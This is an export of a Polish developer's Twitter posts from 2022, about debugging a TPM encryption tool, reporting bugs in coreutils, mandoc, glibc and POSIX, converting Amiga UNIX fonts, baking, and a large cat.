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@nabijaczleweli

Bad software, terrible hardware, wrecked meatware; dazed and confused, but trying to continue 🇵🇱/🏴󠁧󠁢󠁥󠁮󠁧󠁿/🇷🇺 ⚧ they Contains sulfites.
Kraków, Polandhttps://nabijaczleweli.xyzCreated

Export was generated 2022-12-08, spanning 8803 posts, of which 2587 replying to other users, between and : 991951 characters over 995288 bytes, 115115 words.

That's an average of 2.5 posts per day. Even though the period starting in 2019 accounts for precisely 75% of the posts, for an average of 1 per day prior, and 4.6 since. Cf. here for later statistics, or stats.html for plots analysing this dataset alone.

Consider that the aforementioned seminal April 2013 post (banger btw) corresponds to me having been almost precisely 12.5. Keep this in mind. By god keep in mind that they bore me in December 2000 because there's some truly munitions-grade cringe below. I, in many ways, lay here truly bare.

Be 'ware: the page alone is eleven megabytes, and links to four gigabytes across 4410 pieces of media. This is all (nominally-)lazy-loaded, of course, but.

Alas, the twitter export does not include the alt text or the root of the thread for any given post. The former is lost. The latter is badly emulated. See raw/ if you want to make an export like this. Open ?none to start with everything collapsed or ?repl to start with just replies open.

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buy my shirts^Wstickers :0 store.nabijaczleweli.xyz
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@lstrojny thank god. I have a hunch so as to the actual reason ("tpm:parameter(3):structure is the wrong size" => &metadata is parameter "3" (it's actually 8, which is why this wasn't obvious) => I made it empty), so if you wouldn't mind terribly, could you try test2 (4361ed3) to confirm?
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@lstrojny okay I GDBed all the way to the Esys_CreatePrimary call and massaged (almost) all the arguments to be identical to the ones that tpm2_createprimary uses; can you please try the test branch again (dd796f5)?
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@lstrojny if this doesn't work (or at least change where it blows up) I'm giving up
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@lstrojny okay that's good, I thought I was losing my sanity there. I may've found a potential culprit; could you please try the "test" branch (e43c5d0)?
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@lstrojny hm, that's all fine. I'm assuming `tpm2_createprimary -gsha1 -Q --hierarchy=o --key-context=prim2.ctx` works too, then? If so, try running tzpfms with TSS2_LOG=TRACE or =DEBUG in the environment, maybe?
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@lstrojny The sizing error makes me suspicious of maybe a weird userspace incompatibility? Did you build manually or are you using a package? If the latter, could you build from source and re-try?
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@lstrojny If the former (or you're re-building already and it still doesn't work), could you follow git.sr.ht/~nabijaczlewel… (adjust the .so paths for your arch)? By IPCing to swtpm instead of your (hardware, I'm assuming?) TPM, that isolates the weird incompatibility w/just the TPM itself.
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@lstrojny I've tested this on both swtpm (naturally) in a few configurations, and some hardware TPM2s, so it's a mild surprise it's actually blowing up. and, having just re-tried it, bullseye-package-on-bullseye does Just Work w/swtpm for me, so it may be a hw interaction, which is hell.
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@lstrojny i was misremembering, i think, insofar as i had issues with some TPMs that refused to work in weird ways until they got `takeownerhip`ped, but yours is clearly fine
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@lstrojny my ideas, in order, are: 1. do you have the TPM configured? 2. if you run the highlighted programs here: git.sr.ht/~nabijaczlewel… in order, do they error out, too? (but don't run evictcontrol, you'll have to GC) 3. what if you run with TSS2_LOG=DEBUG (or TRACE) in the environment?
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@lstrojny but "structure is the wrong size" is a very odd error to be seeing here. if running the tools directly works, how about adding "-gsha1" to the tpm2_createprimary invocation?
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@oculisprimed 0% lol
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@oculisprimed there was already a guy who said his name was ligma or whatever and he got actually interviewed in person
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@oculisprimed lying to reporters is your moral duty imo. if they're good they'll sniff you out if not it's staggering gag potential
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today in "i saw an Amiga Unix screenshot and decided i desperately need that font": a AmixInstallation.bz2 file that is actually just a ZIP??
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so i gargled for "s5 filesystem" since that's one of the options and this is the first reasonable result, and (a) what an incredible URL, (b) these pages are copyrighted for UnixWare 7.1.4 by the SCO Group, dated 2004?
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would it be entirely outlandish to assume that this is the same SCO of SCO UNIX, as mentioned in the rp5700 BIOS documentation? can I netboot a SCO UNIX off NFS on a Celeron? how idiotic would it be to write a CIFS driver for a SCO UNIX?
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managed to build worms.c from the Amix distro, and now i have cool wyrm friends to hang out with :)
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help! I'm trying to work but these cute worms keep eating my teletype!!
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as unsearchable names go, that's a pretty good one
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i was hoping to not tweet this weekend and its working very well so far, but:
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okay just one more 4x, 2 pixels' spacing: sunfont, topaz plane 1, topaz plane 2
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two nights to reign the BDF in, but
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setfont doesn't like the 12x25 sunfont, but does accept topaz, so
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one kbd build that clears out the @, then uses some random user-space memory as parts of the font, and
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2 years (roughly) i've been avoiding the tarballs. finally caved because you can't convincingly wrap text-that's-an-image around paths. turns out shitting glyphs into fontforge is easy actually
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admittedly, it wasn't A Tenth Of My Life-time Ago™, so (yes, store.nabijaczleweli.xyz/001-UNIX-r-ATT… is creatively-pasted-together PNGs, and I stand by that as a vastly superior technique)
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yeehaw
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all made possible by potrace being tunable to disable all smoothing
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this is what coreutils does to your fonts. #knowtherisks
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okay pog (non-square pixels, of course)
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here's the trail of the 2020 dumps I had, anyway: git.sr.ht/~nabijaczlewel…
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last time i used farbfeld and some difficult-to-change-scaling-in C; pbm and, frankly, an abuse of sed (but what's new), stay winning
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shouldn't've put this off for so long, this shit easy actually
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(okay the thing I was actually putting off was dealing with fontforge, but its very cool and fun to blast through what stamps say was 2-3 days in an evening)
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not sure if i can pass arguments after -script...... thoughts?
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kms
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at least i got a triple bugs.debian.org/1023777
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this entire thing blames back to 10 and 16 years ago. what the hell.
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disappointing
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github.com/fontforge/font…
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so utterly unexciting. i thought the python api would be hellish or weird or fucked up but nah its fine, its all Fine. boring.
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font.importOutlines(simplify=True), which should be the default!, also doesn't work, and imports an unsimplified path. why. am i the first person to use the python fontforge API
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github.com/fontforge/font…
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is there really no way to manipulate per-glyph strikes lol, will i have to generate a BDF for the sole purpose of fontforge sucking it off
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lmfao it just doesn't use it
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correction: ip winds up in the format-specific import function, and PostScript uses it but Glif doesn't use it at all and SVG only partially?
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never-mind, turns out SVG ends up using the same path as postscript, and that simplifies with much less aggressive settings than the default interactive/.simplify(). glif still doesn't
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i thought that maybe because these are pixel-perfect with hard corners i could get away with no BDFs (and since implementing importing images as per-character strikes would be very difficult), but no.
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least psychotic image processing (right is the primary BDF I generated with a lot of awful C 2 years ago)
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free scaling from pre-scaled images!!!!!
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some may call me an evil genius
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hm
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okay the autobold makes it look like shit; (1,2): AA off, (3,4): AA on
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no AA effect here tho
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lads, what the fuck is thsi supposed to represent. if it's a H (and it likely isn't, because there is a HT and the H looks normal there) then it's HL which doesn't look like an ASCII control character. if it's not H, then what on earth is it.
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nevermind im fucking stupid, it claims compatibility with "Topaz8 VT100 Graphics set (0x60-0x7f only)" so it's in this table en.wikipedia.org/wiki/DEC_Speci…, and it's ␤
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lets gooooo
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i am, in many ways, pogging.
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always pleasant when stuff just works
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coming soon to a blog near you
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nabijaczleweli.xyz/content/blogn_…; in all the good formats you'd want (it's OTF and "folderful of images") :)
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some may say you can skip the drivel and go straight to lfs.nabijaczleweli.xyz/0013-AMIX-font…, this is true; the most significant part of this, however, is that I can finally close the three-tab firefox window on my palmtop that's older than my palmtop
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@oculisprimed sign of a goated gag imo
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@_SVR4 topaz.s and sunfont.s, resp., from the Amiga UNIX distribution, converted for a modern font format
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they will never make a calendar reminder thing ive complained about not having for like years now (took me like two hours; second image unrelated)
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git.sr.ht/~nabijaczlewel… :)
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cool. good job lads. love too use bash
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lmfaooooo low-six-digit-bug-number. is it from like 2006? place your bets now!!
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at least it goes into posix mode if argv[0]="sh", but > Date: Fri, 08 Nov 2002 03:45:40 -0500 lmfao
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this all came out of a suspected dash parser bug, but, well, this is somehow even worse?
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oh, of course, this is because alias expansion also happens to functions. very normal day; `alias mail='mail -E "set nonullbodymsg"'`, `mail() { ...` becomes `mail -E "set nonullbodymsg"() { ...`. lovely
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lets goooooo
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:)
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free shart twofer, too: todo.sr.ht/~sircmpwn/git.… lists.sr.ht/~sircmpwn/sr.h…
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graphql is so fucking weird bro
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srhtcdn.githack.com/~nabijaczlewel…, I don't think I've ever published an explicit guide for Symbola specifically, only a generic font-substitution one in nabijaczleweli.xyz/content/blogn_…, so there's a free trade secret in .build.yml; also, you can copy the rat and get U+1F400 RAT
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terrifying
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un ratón :0 git.sr.ht/~nabijaczlewel…
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okay that was 4am ass, try this one
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im testing .ics/VCALENDAR/iCalendar simulation (defined as "got father to send me some events from the front-ends he uses"), and this is apparently what an invite mail is; dope. transcendent use of multipart/alternative
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average busybox moment
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superlinear allocator(? wouldn't be the first time) one asterisk is 266490 bytes in 3708 lines
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:)
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lmao i was gonna joke that ratrun has three components of equal size (mailer, interactive scheduler, iCal emulator), but it actually does
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sr.ht/~nabijaczlewel… :)
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great, lovely todo.sr.ht/~sircmpwn/git.…
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lets go lists.sr.ht/~nabijaczlewel…
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y'know, as these things go, four days end-to-end and also i get a calendar system out of it ain't tee bag I think
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and i fucked up the twitter link in the release notes. most competent poster
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yo pog i added -d as a debugging aid but turns out it's probably most useful for getting "what's today/this week/month"
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appnote in da manual git.sr.ht/~nabijaczlewel… :0 (very rare)
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lists.sr.ht/~nabijaczlewel… :)
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lists.sr.ht/~nabijaczlewel… :0
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how could I've been so blind to the simplest solution? git.sr.ht/~nabijaczlewel…
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ratrun 0c: 1% smaller and at least 5% faster, or your money back. coming soon to a theater near you
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(first run just to check 1002 reminders, second to actually "send" them (by echoing to stdout, mail would dominate all of these runs 100-fold if it actually sent mail))
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(that is an amortised 3.2ms/5.44ms per file, and i separately measure 4.5ms constant no-file offset; not that shocking given that there's 2 executables (flock, date) run for no-send and 4.5 (+ date + mail (+ cat)) for the send case (and gettext once globally if sending anything))
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some say it's maybelline lists.sr.ht/~nabijaczlewel…
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way aheadda ya's, bud
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fun to see a steady unassisted downward trend in my following count
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@eatijr europeans will literally invent horrific IPC schemes instead of using more python than absolutely strictly necessary
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Former @‌nabijaczleweli.‌xyz DKIM keys now published at mail.nabijaczleweli.xyz
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ACLs are truly a gift from the gods; im literally just pointing that at /etc/dkimkeys w/g:www-data:r-x and g:www-data:r-- for the now-public keys
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202205 @‌nabijaczleweli.‌xyz keys, in use [2022-05-17, 2022-11-11), now published at mail.nabijaczleweli.xyz
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she upsell on my features til i subscribe
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type of guy who waits 'til noon to turn power back on after an outage to not have to change his oven clock
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it told me my account was locked, i completed verification, got unlocked, now it shows i follow 11 accounts lol
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lmao
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hm. glibc bug? (2) is a diff of Issue 7 to issue 7 TC2, cf. (3) Issue 8 Draft 2.1
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well, okay, it's Wrong: that's obvious. but whether it's a glibc bug depends on if it targets Issue 7 (2008) or latest Issue 7 (TC2, 2017); it'll definitely be a bug once 202x drops
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debbugs, my saviour! "C locale is 7-bit (127 characters), must be 8-bit (256 characters) since POSIX Issue 7 TC2/Issue 8": bugs.debian.org/1017852
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i hate the begging for an account bull shit
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:v sourceware.org/bugzilla/show_…
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kms sourceware.org/bugzilla/show_…
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i replied, i was very nice, i proposed a shockingly sensible solution, i expect to get a "fuck you" again
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pog pog he uninvalided it
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lol musl does exactly what i suggested here and uses the first PUA (although starting at DF80 instead of E080)
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nevermind i cant fucking read, that's surrogates, not a PUA, but that's even better, since > Isolated surrogate code points have no interpretation; consequently, no character code charts or names lists are provided forthis range.
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my proverbial soul is eternally tainted now sourceware.org/pipermail/libc…
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pog someone looked at it sourceware.org/pipermail/libc…
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lets gooooo, the part that doesn't actually change anything landed
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By partnering with splotchy I achieved 2x sleep efficiency, achieving full symbiotic sleep output in only 4 hours! See more »
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bruh i cant believe adobe sells illustrator like actually
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according to rigorous statistical analysis (looking at the bottom of the settings page last night and now), my cohost account will be active in appx. 4 more days lol
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this beats the current contender of netbsd mailing lists for "account creation processes taking longer than a bank"
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why do people like glass doors on racks so much
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is mesh too horny or what
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glass can't possibly be cheaper, right?
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lets go babeyyy
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bitches love getting couriered their weight in steel
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no vat invoice. i hate it here. the best online retail experience is provided by Some Guy, and the more physical locations the worse it gets
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im pogging?
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get in
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total 8 man-hours. the back door doesnt fit because think different the rails have protruding bits that interfere with the support posts. they still haven't sent me the invoice and it do b a piece of shit kinda so like 50/50 im gonna have to take it apart and return which is fun
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guess who doesn't pick up the phone or hasn't replied to my on-platform posts in the past two weeks :)
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sixteen days. SIXTEEN DAYS! and across the month boundary. i got the FV today
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sanest cable run
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yes, those are, in fact, like, dense felt chair cushion straps half-screwed/half-clamped into/onto the ceiling
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pog
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nowa kultura bankowości
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decidedly one of the worst things to try to shoot
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why aren't the fucking systemctl edit overrides text files anymore
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github.com/systemd/system… :v
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github.com/systemd/system…
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@frameslip probably just the formal definition of text file being a sequence of at least 0 lines, with each line being a sequence of non-0 bytes followed by a new-line
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@frameslip and even if they don't need to be text files for systemd to eat them, it's really fucking annoying to have an incomplete final line
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least pathologically-nostalgic linux poster lore.kernel.org/all/2022110414…
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this is where they send you when you say bash when you mean The Shell
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its really funny that "eat grass cum for breakfast" advertisements all say "it's low-energy!"; buddy if that's the case then what's the point
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the pure, rich, bulbous americana seeping out of "you must eat something in the morning if it fucking kills you" so "buy a wonder of the fundament of the civilised world we adulterated unspeakably to make it absolutely worthless" is frankly astounding
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maybe im sick and twisted like that but i think its not that outlandish to grade all food on a fundamental "should 1. be breathe-outable 2. not kill you 99. be tasty maybe if you care" scale. given that the reviews largely say that shit tastes like cardboard (shocker!) its just
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idk i did also see a "zero-calorie cooking oil" applied science thing and that's a funny novelty but literally why the hell would you want that. do americans understand that you need to eat stuff to maintain homie/hoe stasis, or..?
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okay i am off one¹, so this may be Sanest Slav Take territory but come ON these ad reads would be self-parody if youtubers were capable of even a shred of self-awareness ¹ glass of vodka
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wowee that's a first
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i strapped everything back to wheezy (which itself failed incredibly bizzarely) and the one firefox that didn't instantly crash didn't work, so its time to bust out this venerable beast
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after the like 20 years the RTC battery finally died; the ACPI(!!) BIOS is lovely
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we stay fuckin winning
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ah, the bad old days
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>I want to install Peppermint Devaun edition which uses systemV rather than systemD sanest reporter
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>a traditional init would be runit? Am I correct? amazing. how do you get to "devuan time" but don't even recognise the barest essentials of that choice. power of marketing ig
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i hate go I HATE GO
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brug i was gonna say "bruh where the fuck is it going " but its not going anywhere. what s happenign . please i just wnat to forward a bug
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most enlightened build system. read some code, write nothing, exit 0, fuck you, subscribe to google + plus to get your artifacts
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bru g
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i thought it was actually writign literally anything anywhere at all. that some compilation happened. nah.
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github.com/99designs/gqlg…
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@ATFujoshi wth they americanised rose
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@atax1a my guess was that it's a kshism (if you're doing it like csh then you're doing it wrong imo; note 0003162 below goes so far as to say "csh is disgusting") and I think POSIX agrees? but fuck knows; the defect is austingroupbugs.net/view.php?id=953 and note 0003197 i think nails it? maybe?
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@atax1a apparently alias substitution happens in the tokeniser(!!) which is also why `unalias mv; mv` uses whatever the mv alias is/was :)
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lmfaoooo. huge fan of all 'o's turning into '0's except the 'O's are 'o's. very normal way to spell
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didnt even notice "destr0y y0ur reputation am0ngst google and y0ur customers". google, as we know, is much more important than customers????
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@eatijr maybe, that's a kornism tho
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@eatijr eater "ass docking"
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@hipsterelectron i was kinda going for an atrun(8)/rat race gag tbh
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wat da hell im experiencing two ante meridiem again
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bugs.debian.org/1022179 :)
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bugs.debian.org/1023029 :/
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aaaaaaaaaa another fucking mandoc bug
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if you're having trouble following along at home: that's mandoc -Tlint deciding that actually a break point (\:) is punctuation
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inbox.vuxu.org/mandoc-discuss…
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what you're missing here is that my reaction off-list was "ARE YOU PISSING IN MY ASS"
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average x32 binutils moment
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and its not a LTO thing so idk. no klapki 0.2.1-1 on X32 ig
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klapki 0.2.1 lists.sr.ht/~nabijaczlewel… :)
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and a free one that fell out of tzpfms :v bugs.debian.org/1023070
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tzpfms 0.3.1 lists.sr.ht/~nabijaczlewel… :)
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okay now breakfast
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train :0
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@eatijr its just like me fr fr
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much like we are borne of the hummus on which we tread, we are borne as wyrms much like those what bountify it
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idk theres an ideology here i think. would love to know your thoughts on this
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another successful klapki installation. another time it Just Worked with 0 config. maybe the voices are right. maybe i am just built different.
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i think ive overall spent more time babysitting systemd maintainers of various description to unfuck kernel-install than ive spent writing klapki altogether. or at least it feels that way. and the sd-boot experience is still miserable
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@iximeow sr.ht/~nabijaczlewel… :)
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the "hm i wonder how hard it would be to buy bonds" to "writing a complaint to the national competition-and-consumer protection agency about a state-run bank's direct marketing compliance" pipeline
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@oculisprimed @sailorpena the strongest mathematician. howeve'r she is so fragile so as to crumble when handled by anything than cold hard steel
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@oculisprimed @sailorpena cant get much softer than actually fluid
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@oculisprimed @sailorpena wood's metal tea-spoon
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really makes you stink, don't it
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bugs.debian.org/1022857
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pray for me lads
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if i were ingo schwarze i would simply have not bothered inbox.vuxu.org/mandoc-discuss…
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@greenTetra_ hes right
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just received two (2) high-priority pictures of my grandparents' large cat
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he has arrived
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i have finally met the mythical beast
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he is incomprehensibly large, and by that i mean that im physically unable to understand how massive he is; a cat so large and powerful cannot ideologically coexist with an average-sized cat as soon as i stop touching him
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behold: an apex predator :)
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Bazyl, unto whom we are as he is unto god, as compared to father, who is not a small man by any means (left) and a fox terrier (right)
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he's baby
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bonus paws
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i wish i knew more than the absolute baseline amount of latin, so just imagine i wrote something that sounds cool about how he is king of the universe and you can kiss him here
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gnerbl
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i unfortunately cannot see him but i am receiving reports that he is still large
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he sleep
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i have forgotten to post him, but here he is: hidden, perfectly masqueraded, all but invisible in his environment
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he's bread
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scholar
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cat (chair cat)
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caution furry floor
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dinner boy
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saw the bastard again. love him :)
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what form!
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coffee for the cat,, bastard mode all day long
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throw that cat in a circle
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he's learning :)
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i interrupted brushing him to shoot and now i will never recover
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:)
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for all his general cool and hipness, i don't think he's ever partook in a selfie before. an embarrassment for a man of his stature
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just some lads being dudes
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and you can't even tell it's bloody winter
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this is classified by the NYT as an "opinion piece" and you must pay two hundred dollars to me, personally, to transfer ownership of it
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motherfucker bit me! can't blame him tho, hes based
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^м^
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and to /think/ there were haters who said he would never have drip, pathetic!
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angle/devil/&c.
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he's ill, please send him your most mischievous energies
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unbothered, moisturised, in his lane, well-hydrated, flourishing
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floor wyrm :)
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Big Yellow's Adventure, incl. Bright Yellow
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big yellow looks at your girl like this. wyd?
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unparalleled, hell, unparallelable form
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"we saw you from across the room and we fucking hate your vibe" type beat
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he's observing improved renal function :0
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she call me her population they way i be fucking dense
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@sacaitlin and it's in common use as the above since at least 1900, but fair; my b, soz
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@sacaitlin idk what the expectation here is, I assume this mirrors "pussy"/"cunt", being in polish shouldn't preclude it from being moderated?
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@the6p4c when yuo see a 30k-Power-On-Hours HDD
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@the6p4c nevermind actually i had 30 on my mind because i just had a 30kh DVR disk die, the one in my router just rolled over 2^16 and it's still in perfect condition
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(assuming it works and the kernel documentation isn't a complete lie, which is hardly a given)
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бублики moment :0
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(way too big, the portioning didn't work out right because i had either really big eggs or exceptionally wet flour; still fucks doe)
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i was told i fucked the white balance and these looked like they were potato, when they are, in fact, regular grass. please consider this correction
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true blueblik classic
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mildly annoying to have iteration times of 3 hours instead of 20 seconds, [c++ joke here], but i think ive arrived at a local winner
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do you think you blanket rising doughs so they don't wake up before you cook them
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how the hell did i shake a 1/15th shot?? must be a bublik deficiency
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fucking shameful
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l + bublik + ratio
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top 10 salty spelt baker moments
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my stupid ass forgot the second egg once and thats why they werent fucking rising. anyway: bublik + ratio
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oh no! our white balance! it's broken! &c., &c.
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as a wise man once said: And i hope all your donuts come out looking like Fanny's.
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like 2 months since i ate commercial bread 🧐
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wtf bublik inflation?????
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getting the jpegs off my camera was Effort while I was off the oil rig, so: 2022.08.09; its surprising how a roll of dough Just rolls into a Classic Pretzel Shape if you twist it far enough
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this post is approved by Wheat Gang
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elisabeth holmes voice
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ol' lizzy ol' pal
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i did make like 2 poops by accident but
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we b breaded fr fr
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poglik
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this post is dedicated to the camel drip check sheesh allahu akbar video
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bog (bublik pog)
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what if bublik but it wasn't? today's youth asks scary questions – here's how to answer them.
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finished off a bag of flour
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there are big bubliki among us
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bublik no jutsu
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im trapped in the caption factory
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like four months since i ate a commercial bread 🤔
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they did surgery on a bublik
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idk why the wb came out red on this
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oh, no, its fine actually. normal day in SMARTland
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brug. what da hell
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aaaaaa what the fuck why does this piece of shit "Kenik"-branded DVR ask for a lease every ten seconds, twice in a burst, with embarrassing clock slew
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i couldnt dial it EBCAUSE ITS NOT RESPECTING THE FUCKING LEASE
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panicsort theory of DHCP
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learning many things about myself tonight
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crossbreed 👍
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severe - looking, sickly, creating an ominous presence. so true.
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kinda insane that it got the language right
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smug look, pudgy, very thin :)
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tumblr contest winner rna bioweapon anime girl cosplay
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man, i look so old now compared to 2 years ago when i shot this
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there is a cat next to her
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featureless, hulking, very thin, 16k resolution:0.6|people
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using a magical tablet: yes, yes!!! featured on reddit: noooooooooo
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anti-slavic bias really showing
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@hipsterelectron randomly-chosen crew-mate/impostor .build.yml
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@hipsterelectron already know one, ill invite him :)
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just two classic C parsing moments today, one of which @pixelbeat_ has already fixed upstream: bugs.debian.org/1018790, bugs.debian.org/1018803 :)
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okay this is a psycho bug though bugs.debian.org/1018806
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i am a golden god
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maggots in your stty? more likely than you'd think! bugs.debian.org/1018844
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normal day bugs.debian.org/1018919
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"average coreutils program has 3 distinct bugs" factoid actualy just statistical error. average coreutils bug has half of a distinct bug. Spiders Stty, who lives in cave & encounters over 10,000 each day, is an outlier adn should not have been counted
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hohoho so deviant bugs.debian.org/1018958
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i love c++ because the error is always in the dead center of my screen
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thank.s. good to know one of us knows what the fuck the extension means
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yo pog
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i love processing text bugs.debian.org/1019344
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this is the 6th for stty, which beats out du's 5.5
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lmfao just closed bugs.debian.org/210475, which was reported Sep 2003 with the last post on Jan 2008
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8 full pages after STANDARDS. no coherent EXAMPLES, no HISTORY
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8.5pg, second-biggest by size too, and still without HISTORY :v
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bookending with classic C integer parsing moment :) bugs.debian.org/1019463
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omg pogpogpgogp −xcase removal will be properly noted in Issue 8 Draft 3 mail-archive.com/austin-group-l…
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and a symmetrical (it's not symmetrical, but close enough) mismatch for cooked: bugs.debian.org/1018844#10
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uhoh new one, kill '' is kill ^@ (apparently, you wouldn't know), and kill ^żupan is valid bugs.debian.org/1019466
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aaaaa what the fuck. they strace identically. the 1000000 speed sticks when it's specified what the hell is wrong with coreutils
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waa bugs.debian.org/1019468
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this is the 10th for stty :) they grow up so fast
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okay, this is actually a POSIX formatting bug since Issue 6 mail-archive.com/austin-group-l…
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holy shit if you substitute the default special characters to something reasonable, you could include the three pages of /dev/tty0 ... tty5 (IV) verbatim in a modern manual, and you'd do a better job of explaining how teletypes work than 99% of modern-written bull shit
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there are – count'em (heh) – icanon with its at-most-a-line reads and line processing, -icanon (min 1 time 0), echo, ^D processing (which, until hard-reading the POSIX description I wouldn't've guessed worked as described), cttys, ^C/^\ (sans pgroups)
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i am, i just fucked up the query the first time :) all but the first are for the same line of device, and the second-to-last is the right one :)
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i became a real POSIX bug! dreams do come true! austingroupbugs.net/view.php?id=16…
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holy shit you can trace like half (its not half) of the standard flags to the DC11 manual lmao
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lmao for (a) teletypes got signals before signals got signals; we /been/ knew job control is king from day 1 and (b) "It should be easier to resume after an interrupt, but I don't know how to make it work." men will literally go to therapy vs. inventing absurd architectural abuse
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think im all wrote out on V1 after a mere 1.5pg
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im "deep in it" but ive found the original gamer, lads
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sorry! sorry! electronic sportsman. i shouldn't flame kids, even if they are 60
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how the fuck do you cite a usenet post
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like this i guess. decided that "alt.folklore.computing" is the Journal and "IBM Selectric parallel/serial interface" the Article. idk if the ggroups top-level M7H thing is actually stable and refers to the msgid of the top post but that'd make a stellar (awful) Issue number
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V2 moment
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this reads like something @oculisprimed would post about
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cant believe dmr fucking gnomed me from beyond the grave. what the hell
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Teletype Corporation kinda based doe??
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this is a certified R. A. the Rugged Man Who Do We Trust? moment!
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i was haha joking i may have 20 pages but i just got done with V5 and im a fifth of the way through page 17 so unless the scope doesn't reduce drastically (which thankfully it has been, as expected) this may actually be 30
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also if someone can decipher what the scribble here says please tell me :)
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"noo noo i only use bimbows for gameing !!" cope + seethe unix did it first and unix did it better
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taming text formatting like a wild yak
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done with V7 at 21 pages flat :)
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the WHAT port?
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twitter.com/mycoliza/statu…
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yeah just spew on your floppy, mate, she'll be 'right
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officially bigger than a ~V2 file can be :v
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(CORRECTION: max seek offset, goes to 64k because it was a single 16-bit word and yes this is the reason why we got block-addressed disk I/O[1]; max file size on ~V2 is described like it goes up to 1Mi but there's two bytes (+1b(?))[2], and all of userspace gets 2B[3,4]. unclear)
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..do they?
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it's actually remarkable just how unremarkable 4BSD job control is; the PREFACE says [1], but AFAICT this straight-up doesn't hold for job control which beside living in -ljobs and requiring stty new is so nauseatingly boring and fully-formed you might as well read credentials(7)
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so fucking true
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1 BSD = 1 page (converges at 4BSD)
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this says a lot about our society
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citing another usenet post. my ant sisters are not smiling upon me today
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sometimes i feel like i shouldnt have the power to go off on these poor people but then i remember this is for the switching equipment of american monopoly number 3 so they deserve it and are also all dead now so its fine
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votrax
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finally: a reason to have more than three gigabytes of ram. also, why is this so slow. i could recognise characters on a thousand pages very quickly, and i need less than 300W to do it. it is easy, too me.
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108`607.5J for just the OCR bit. that's 26kcal, but cant feed computers milk (yet). i stay winning
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im sorry im sorry im trying to delete it
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auditd in ≤1979 :0
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holy shit lmao; left is POSIX.1-202x Draft 2.1, right is UNIX User's Manual, Release 3.0 (i.e. SysIII (whom you may known from its later hits as SysV)). left is dated August 2021, right is dated June 1980
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please. my standard. she is very sick.
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this is all the funnier given that no-one has historically ever actually used split speeds, as far as I can discern. there is /one/ usage of it in V7 (i.e. very late), undocumented, as "stty gspeed" which yielded ispeed 300 ospeed 9600 and I doubt was ever actually used
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just breached 45 pages
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lol this reads like they're kinda mad about it but dont wanna be like super openly mad about it
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true mastery of consistent branding
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ive dug very deep to find just how insane the SysV VSWTCH "job control" must've been and jesus fucking christ
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i dont think a worse "job control" scheme has ever been conceived of
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i hate it so fucking much. they HAVE the VINTR/CINTR convention. WHY is this the ONLY thing that's treated specially (at least it's not in the kernel). WHY does the default overlap the default VEOL/VEOL2
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big words from SysVr4
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they fired the fucking gnome bro. what the fuck
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just how good(?) were (are, I guess) STREAMS? what's the juice that makes them so much better. is it that you get finer-grain stacking of I/O layers or what.
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guess which stupid bitch can't read more than the paragraph at the exact center of the page. so i guess it is just smaller drivers with better layering
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what the fuck sorry?
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how did we go from (1,2) to (3)
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🤡
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lmao i was wondering why the tape filenames were so fucked up, it turns out they invented them and its just acronym for source code transfer magtape/floppy. incredible, no notes
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do NOT interact if you wouldnt call me on /dev/rsctmtm8 (raw source control transfer magnetic tape PE device 8)
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also note the transcendent page numbering scheme. love too direct readers to page TERMIO(7).10
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lmao (a) and what? (b) this is the only occurrence of TCGETA (honestly surprising they managed this since the commands are TCGETS, TCSETS, TCSETAW, TCSETAF; difficult to miss.
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groff nroff 24-bit-colour-escapes when
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an asterisk thats an actual star? :0
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i think The ISBN Corporation™ should just keep a copy of every book with an ISBN assigned, maybe even scanned! who knows
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XPG2 doesn't seem to actually exist. only Volume 1 (XCU) of XPG3 is extant. does the X/Open Company, Ltd. have a copy do you thin- we regret to inform you the x/open company has been acquired
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lol i think this is at least close to the longest-surviving text included verbatim in modern POSIX; top: Issue 7 ed. 2018 (same in Issue 8 current-year drafts), bottom: V6, page dated 5/27/74, manual dated May, 1975
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registered trademark of the WHAT sorry?
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maybe when you have 7. Device- and Class-Specific Functions, 7.1 General Terminal Interface., 7.1.1 Interface Characteristics., 7.1.1.7 Non-Canonical Mode Input Processing, 7.1.1.7.3 Case C: Min = 0, Time > 0 you should rethink i think. imo. too me
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in IEEE Standard Portable Operating System Interface for Computer Environments,
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this is two tweets because the full thing is 266 characters. maybe a suboptimal layout? would love to know your thoughts on this
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very normal and reasonable illumos moment (all of these are ABC, Alt+abc, three backspaces)
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how the hell they invent two ^?s for the middle character is beyond me, much more so in -echoe
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sanest standard editor
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holy shit okay literally me though?
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all.. what?
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the POSIX spelling for the terminal interface is such semantic poison that all systems that post-date it cannot come up with anything else, and include most of that text verbatim, just editorialised from must/shall to does
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this happens to both 4.4BSD and SysVr4, the latter of which's termio(7) appx. doubles in size, but half of that is just sucking off the POSIX text
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pwease at least try
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....... who exactly is this supposed to be attributed to, exactly?
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wait i just realised it's cfget{o,i}speed but cfset{i,o}speed
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heee heee heee hoo ho ho!
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inbox.vuxu.org/mandoc-discuss…
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"e-mail as an alternative to telefax" sure is a hell of a take for 1995. "telefax"!
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come on, you love to see it
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turns out this is in the TODO dated 2019 so enjoy this limited-edition straight-from-the-drawer psycho mandoc bug
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👍
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SO fucking true
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holy shit i finally found why the Pq (and Po Pc) parentheses are so weird when compared to the normal ones; apparently they just have a ⅙m space around the ( and )???!?!?!?!?!?!?!??!
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(1,3) are before; (2,4) are after. really night and day, christ
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bugs.debian.org/1021795
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yeah; nice fucking ballot, dipshit
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🥺
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is this real?
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i posted the illumos bug to illumos-discuss@ when i posted it here but it still hasn't shown up so
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love finding 30-year-old copy/paste errors lol
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lmfaoooooo it survived verbatim to POSIX.1-202x/D2.1
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mail-archive.com/austin-group-l… :)
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waaaaaaaaaaaaaaaaaaaaaaaaaaaaa what the hell is happening. absolutely psycho groff bug
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bugs.debian.org/1021890
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please, my standard, she's so fucking sick mail-archive.com/austin-group-l…
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the last 4 months of mandoc posts are all my hard bugs lol (i stripped out another month of like the opinionated ones) (also two new ones: inbox.vuxu.org/mandoc-discuss… inbox.vuxu.org/mandoc-discuss…)
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there are swedes among us
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.... are we sure?
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uhoh. is this good
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nooooo, symbola doesnt have 🥴
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sorry for party rocking :/
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pbuh zfs but also jesus christ we should've just made PDF text layers be greppable
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wat da hell. why the international book number differ between nations
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ooooooooh momma. holy shit. this explains so much
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okay so the builds were appearng to be hanging and how the HELL is god-damn mandoc 100% CPU busy-looping
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hot tip: change the loop condition in the loop :)
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fixed in CVS. don't necessarily want to build mandoc from source on CI, but if i gotta
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81 A4 pages (223 sideways A5), preprint for your consideration: lfs.nabijaczleweli.xyz/0012-groff-mdo… :)
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normally i include these as screenshots but i could maybe fit a tenth of this in a tweet
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with thanks to @MrDOS whose canadian eye pre-set was pivotal for decoding some manuals
